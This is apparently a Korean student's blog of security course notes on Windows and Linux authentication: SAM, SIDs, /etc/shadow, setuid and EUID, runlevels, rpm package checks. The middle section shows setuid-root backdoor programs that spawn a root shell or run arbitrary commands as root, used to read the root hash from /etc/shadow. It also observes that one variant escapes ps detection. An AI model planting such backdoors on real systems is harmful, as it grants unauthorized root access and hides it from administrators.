- dll 이해
- 운영체제 인증구조
- 리눅스
- 윈도우
- 패스워드 크랙
- 운영체제 인증과 관련된 공격 유형

로그인창 - Winlogon
- GINA
- id를 받는 라이브러리 / pw 받는 라이브러리 존재 ⇒ 인증 과정 (인증 > 식별 > 인가)
- LSA, SRM ⇒ 식별
- SAM 파일
- 레지스트리(응용 프로그램의 DB) 하이브 파일
- System 계정이 잡고 있어 삭제 불가
- SAM 파일

로컬 보안 인증
SRM - 커널 레벨의 모듈
SAM 과정 - SAM 파일에 매핑(식별) - ID/PW 존재 여부 확인 - 존재 확인 시 SID 획득
C:\\Users\\student>whoami
m1307\\student
C:\\Users\\student>whoami /user
사용자 정보
----------------
사용자 이름 SID
============= ============================================
m1307\\student S-1-5-21-1959215730-845211034-832152547-1001
C:\\Users\\student>wmic UserAccount Where LocalAccount=True Get SID
SID
S-1-5-21-1959215730-845211034-832152547-500
S-1-5-21-1959215730-845211034-832152547-503
S-1-5-21-1959215730-845211034-832152547-501
S-1-5-21-1959215730-845211034-832152547-1001
S-1-5-21-1959215730-845211034-832152547-504
500번대 - administrator 계정
1000번대 - 일반 유저 계정
일반 유저 계정을 만들고 해당 계정에 administrator 권한을 부여해서 크랙

회사 문서 공유를 AD로 한다(혹은 NFS를 활용)
모든 운영체제는 자원 공유를 하려고 한다. 윈도우는 AD를 사용
자격 증명 - 단말기 인증
고스트 이미지를 만들어서 강의장 내 모든 pc에 덮어씌움
레지스트리 편집기(regedit)
Administrator 권한으로 열림

SYSTEM 계정이 잡고 있기 때문에 Administrator 권한으로는 regedit에서 SAM 내부를 확인할 수 없음
“[운영체제] Sysinternals” → 높은 도메인 지식 필요
권한 상승은 합법적이지 않음
합법적으로 쓰는 방법
Microsoft Windows [Version 10.0.22631.5699]
(c) Microsoft Corporation. All rights reserved.
C:\\Users\\student\\Downloads\\PSTools>PsExec.exe -i -d -s c:\\windows\\regedit.exe
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
c:\\windows\\regedit.exe started on M1307 with process ID 11660.
C:\\Users\\student\\Downloads\\PSTools>PsExec.exe -i -d -s c:\\windows\\regedit.exe /accepteula
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
c:\\windows\\regedit.exe started on M1307 with process ID 5704.


Users > 3E9 와 Users > Names > student 의 hex값 동일
식별 시 SAM 확인
사용자 계정과 관련된 하이브 파일 안에 인증 데이터가 존재함. → 식별 과정에서 사용됨 → SID 부여 (=인가)

64비트 exe 파일 관리자 권한으로 실행

secure system - 윈도우 미티게이션 - 윈도우 보안 방법
idle process - 대기 상태
system > interrupts
인터럽트(interrupt) 라고 한다. 즉, CPU의 정상적인 프로그램 실행 을 방해했다는 의미다. 동작하고 있는 상태를 변환시키기 위해 사용하는 것이 interrupt 프로그램의 동작 컨트롤
kill - 프로세스를 singal 을 사용해 프로세스 컨트롤 - interrupt
memory compression - 메모리 미티게이션
wininit.exe > lsass.exe
과거 winlogon에 존재하던 프로세스들(lsass, services)이 wininit으로 분리되어 처리 프로세스가 바뀜
cmd가 목록에 없음 - 하위에 존재한다는 뜻 - explorer.exe에 존재.
윈도우란, 로그인을 해서 explorer.exe로 환경을 새로 만드는 것
악성코드를 다운로드 받아도 explorer.exe 아래에 존재.
그 밖에 존재 - 권한이 더 높은 것

system 계정으로 cmd를 열면 상위 레벨로 cmd 프로세스가 존재
pc를 껐다 켰는데 악성 프로그램이 존재한다 = 어디서 동작하는 것?
explorer.exe에 동작한다 = 해당 환경에서 다운로드 및 실행
악성코드가 다른 경로로 (≠ explorer.exe) 존재. (e.g. 시작 프로그램)
Windows용 TCPView - Sysinternals
[user@client ~]$ sudo grep ^user /etc/shadow
[sudo] password for user:
user:$6$.TDwbnua0j7gVg1r$HfQAKKvWPQ1XWJRnAuXx91laPryRktoWx.IMvO8eqN0OsnXItkhsfmA4nTFsAz05tFDGQONvh6tfuv8Ky8DeU0::0:99999:7:::
# 1 MD5 5 SHA256 6 SHA512 y/7 yescrpt
# TDwbnua0j7gVg1r => salt
# HfQAKKvWPQ1XWJRnAuXx91laPryRktoWx.IMvO8eqN0OsnXItkhsfmA4nTFsAz05tFDGQONvh6tfuv8Ky8DeU0 => hash
[user@client ~]$ sudo pwunconv
[user@client ~]$ sudo grep ^user /etc/shadow | head -1
grep: /etc/shadow: No such file or directory
[user@client ~]$ sudo grep ^user /etc/passwd | head -1
user:$6$.TDwbnua0j7gVg1r$HfQAKKvWPQ1XWJRnAuXx91laPryRktoWx.IMvO8eqN0OsnXItkhsfmA4nTFsAz05tFDGQONvh6tfuv8Ky8DeU0:1000:1023:user:/home/user:/bin/bash
/etc/* - 모든 사용자 읽기 가능
$ sudo pwunconv
$ ls -l /etc/shadow /etc/passwd # shadow 존재하지 않음, passwd는 존재
$ sudo pwconv # shadow 다시 생성, passwd 비밀번호 x로 다시 변경됨
UID
GID
EUID
- effective uid
- 실행 시 상속되는 권한
- 파일의 metadata - stat [arg]
[user@client ~]$ **stat** /etc/passwd
File: /etc/passwd
Size: 2258 Blocks: 8 IO Block: 4096 regular file
Device: fd00h/64768d Inode: 33728784 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Context: system_u:object_r:passwd_file_t:s0
Access: 2025-11-17 11:25:08.738160975 +0900
Modify: 2025-11-17 11:25:08.726161050 +0900
Change: 2025-11-17 11:25:08.732161013 +0900
Birth: 2025-11-17 11:25:08.726161050 +0900
- 윈도우는 ‘실행 권한’을 따로 설정하지 않는다.
- regedit > HKEY_CLASSES_ROOT
- 응용 프로그램을 확장자 별로 명시
- 사용자가 상속받는 권한이 중요해짐
- 리눅스 관련
- RBAC 관점에서 sudoers는 유출되어서는 안되는 계정
- 사용자의 권한은 제한적이어야 함
EGID
- setuid
[user@client ~]$ which passwd
/usr/bin/passwd
[user@client ~]$ ls -l /usr/bin/passwd
-rwsr-xr-x. 1 root root 32656 May 15 2022 /usr/bin/passwd
[user@client ~]$ ls -l /etc/shadow
-r--------. 1 root root 1660 Nov 17 11:25 /etc/shadow
- setgid
EUID 이해
- 실행 시 상속받게 되는 권한
- 보통 실행 시 소유자의 권한 == EUID
- SETUID 권한은 실행 시 파일의 소유자 권한을 EUID 권한에 셋 하여 실행하는 함수
[user@client tmp]$ cat > test1.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
printf("RUID : %d, EUID : %d\\n", getuid(), geteuid());
**setuid(0); # root로 권한 상승**
printf("RUID : %d, EUID : %d\\n", getuid(), geteuid());
**system("/bin/bash"); # 상승된 권한으로 bash 실행**
}
[user@client tmp]$ gcc -o test1 test1.c # 컴파일
[user@client tmp]$ ls -l | grep test1
-rwxr-xr-x. 1 user basic-group 17648 Nov 17 13:08 test1
-rw-r--r--. 1 user basic-group 180 Nov 17 13:08 test1.c
[user@client tmp]$ sudo chown root test1
[sudo] password for user:
[user@client tmp]$ ls -l | grep test1
-rwxr-xr-x. 1 root basic-group 17648 Nov 17 13:08 test1
-rw-r--r--. 1 user basic-group 180 Nov 17 13:08 test1.c
[user@client tmp]$ sudo chmod u+s test1
[user@client tmp]$ ls -l | grep test1
-rwsr-xr-x. 1 root basic-group 17648 Nov 17 13:08 test1
-rw-r--r--. 1 user basic-group 180 Nov 17 13:08 test1.c
[user@client tmp]$ ./test1
RUID : 1000, EUID : 0
RUID : 0, EUID : 0
강사님 계정 접속
[user@lb tmp]$ ./test1 # 권한 상승
RUID : 1000, EUID : 0
RUID : 0, EUID : 0
[root@lb tmp]$ w # w 명령어로는 권한 상승 확인 불가
13:27:07 up 2:12, 21 users, load average: 0.59, 0.86, 0.59
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
user seat0 13:18 0.00s 0.00s 0.00s /usr/libexec/gdm-wayland-sessio
user tty2 13:18 2:13m 0.03s 0.03s /usr/libexec/gnome-session-bina
user pts/1 13:20 17.00s 0.06s 0.03s sshd: user [priv]
user pts/2 13:20 22.00s 0.02s 0.02s -bash
user pts/3 13:20 3.00s 0.05s 0.02s sshd: user [priv]
user pts/4 13:20 59.00s 0.01s 0.02s sshd: user [priv]
user pts/5 13:20 5:10 0.00s 0.00s -bash
user pts/6 13:20 1.00s 0.01s 0.01s -bash
user pts/7 13:20 2:17 0.02s 0.02s -bash
user pts/8 13:20 5:54 0.00s 0.00s -bash
user pts/9 13:20 46.00s 0.02s 0.02s sshd: user [priv]
user pts/10 13:20 59.00s 0.03s 0.02s sshd: user [priv]
user pts/11 13:21 3.00s 0.03s 0.02s sshd: user [priv]
user pts/12 13:20 11.00s 0.05s 0.01s /bin/bash
user pts/13 13:20 1.00s 0.03s 0.02s sshd: user [priv]
user pts/14 13:20 11.00s 0.02s 0.02s -bash
user pts/15 13:20 5:23 0.01s 0.01s -bash
user pts/16 13:20 51.00s 0.04s 0.01s sshd: user [priv]
user pts/17 13:20 43.00s 0.02s 0.01s sshd: user [priv]
user pts/18 13:21 0.00s 0.01s 0.01s sshd: user [priv]
user pts/19 13:26 19.00s 0.01s 0.01s -bash
[root@lb tmp]$ sudo ps -ef | grep pts/17 # 해당 명령어로 확인 가능
user 5029 4930 0 13:20 ? 00:00:00 sshd: user@pts/17
**user** 5030 5029 0 13:20 pts/17 00:00:00 -bash
**root** 6204 5030 0 13:26 pts/17 00:00:00 ./test1 # 권한 상승 확인
root 6205 6204 0 13:26 pts/17 00:00:00 /bin/bash
root 6528 6297 0 13:27 pts/18 00:00:00 grep --color=auto pts/17
물고 들어가면 확인 가능 - 이런 형태의 백도어는 잘 쓰지 않는다. 추적되기 쉽기 때문에
상속받은 채로 쉘을 여는 것은 막혀있음.
[user@client tmp]$ cat > test2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
main() {
setuid(0);
system("/bin/vi");
}
[user@client tmp]$ sudo gcc -o test2 test2.c
test2.c:5:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
5 | main() {
| ^~~~
[user@client tmp]$ ls -l | grep test2
-rwxr-xr-x. 1 root root 17496 Nov 17 13:42 test2
-rw-r--r--. 1 user basic-group 103 Nov 17 13:42 test2.c
test2 실행 → vi 실행됨 → :!/bin/bash 입력 → root shell 열림 → exit → vi 실행됨
우회 방법
[user@client tmp]$ cat > test3.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
char exec[100];
setuid(0);
sprintf(exec, "%s 2> /dev/null", argv[1]);
system(exec); # 명령어를 내릴 때만 권한 상승
}
[user@client tmp]$ sudo gcc -o test3 test3.c
[user@client tmp]$ ls -l | grep test3
-rwxr-xr-x. 1 root root 17552 Nov 17 14:05 test3
-rw-r--r--. 1 user basic-group 183 Nov 17 14:05 test3.c
[user@client tmp]$ sudo chmod u+s test3
[user@client tmp]$ ls -l | grep test3
-rwsr-xr-x. 1 root root 17552 Nov 17 14:09 test3
-rw-r--r--. 1 user basic-group 185 Nov 17 14:09 test3.c
[user@client tmp]$ **grep ^root /etc/shadow**
grep: /etc/shadow: Permission denied
[user@client tmp]$ **./test3 "grep ^root /etc/shadow"**
root:$6$rounds=100000$MR.qG83sYzuDRPjk$nUteRJVm/iCMZD..NKx5ie973sO8DkEHpTLsYWli.C/JBGNanpD2s2P9bpVTZFvxIY0UHlCwdPPMSmbDerV8v1:20409:0:99999:7:::
test3을 실행해도 ps -ef로 권한 상승 기록이 확인 안됨
[user@client tmp]$ sudo ps -ef | grep pts/1
user 4471 3502 0 13:24 pts/1 00:00:00 bash
user 4618 4471 0 13:36 pts/1 00:00:00 bash
user 4648 4618 0 13:36 pts/1 00:00:00 bash
user 4789 4648 0 13:45 pts/1 00:00:00 ./test2
user 4790 4789 0 13:45 pts/1 00:00:05 /usr/bin/vim
user 4791 4790 0 13:45 pts/1 00:00:00 /bin/bash
root 5060 4791 0 14:14 pts/1 00:00:00 sudo ps -ef
user 5061 4791 0 14:14 pts/1 00:00:00 grep --color=auto pts/1
root 5063 5060 0 14:14 pts/1 00:00:00 ps -ef
setuid 설정된 파일 확인
[user@client tmp]$ sudo find . -type f -user 0 \\( -perm -4000 -o -perm -2000 \\) -ls
16812496 1360 -rwsr-xr-x 1 root root 1389024 Nov 17 13:34 ./bash2
16812508 20 -rwsr-xr-x 1 root root 17552 Nov 17 14:09 ./test3
16812501 20 -rwsr-xr-x 1 root basic-group 17648 Nov 17 13:08 ./test1
4000 or 6000을 찾아줌. but 현재 os 버전에서 실행 안됨
$ sudo find . -type f -user 0 -perm +6000 -ls
runlevel
rc = run control (과거 사용하던 용어)
[user@client tmp]$ cd /etc/rc.d
[user@client rc.d]$ runlevel
N 5
[user@client rc.d]$ who -r
run-level 5 2025-11-17 11:15
[user@client rc.d]$ init 6
# 재부팅됨
wininit
~~init 라는 용어를 os마다 초기화 프로세스에서 많이 사용
systemd ( systemctl )
데몬 컨트롤 = 부팅 시 서비스를 제어
→ 자원 낭비 / 포트가 열려있을 가능성 / 하드닝을 통해 불필요한 것을 관리
runlevel 0~6
- 0, 1, 2, 4은 부팅 시 사용 안함 (4: reserved(안씀))
- 3: cli
- 5: gui
- 6: reboot
[user@client ~]$ ls -l /etc/rc.d/
total 4
drwxr-xr-x. 2 root root 20 Nov 11 13:56 init.d
-rw-r--r--. 1 root root 474 Nov 4 17:15 rc.local
init.d는 과거의 흔적
rc.local
- rc script 에 의해 부팅 과정 중 마지막에 읽어 들이는 파일
- 구시대 유물
rpm -qf
신통방통한 패키지의 출처를 찾을 때
백도어가 심어진 변조된 패키지 확인할 때도 rpm에 옵션 걸어 확인 가능 (-ql, -qf, -V)
[user@client ~]$ which awk
/usr/bin/awk
[user@client ~]$ rpm -qf /usr/bin/awk
gawk-5.1.0-6.el9.x86_64
# 명령어 또는 실행 바이너리와 패키지
$ which awk
/usr/bin/awk
$ rpm -qf /usr/bin/awk
gawk-5.1.0-6.el9.x86_64
$ rpm -qi gawk
$ rpm -ql gawk
$ rpm -V gawk
Autoruns
뒤에 c 붙은 파일은 cli 환경

HKCU
CU: current user
부팅하지 않으면 HKEY_CURRENT_USER / HKEY_CURRENT_CONFIG 존재하지 않음
추후 레지스트리 분석 시 참고
\Run : 시작 프로그램과 관련
'OS' 카테고리의 다른 글
| Shell Script (0) | 2025.11.06 |
|---|---|
| 리눅스 운영 vol.2 (0) | 2025.10.21 |
| 리눅스 운영 vol.1 (0) | 2025.10.13 |
| 운영체제 개요 ch.06~ch.08 (0) | 2025.09.22 |
| 운영체제 개요 ch.01~ch.05 (0) | 2025.09.18 |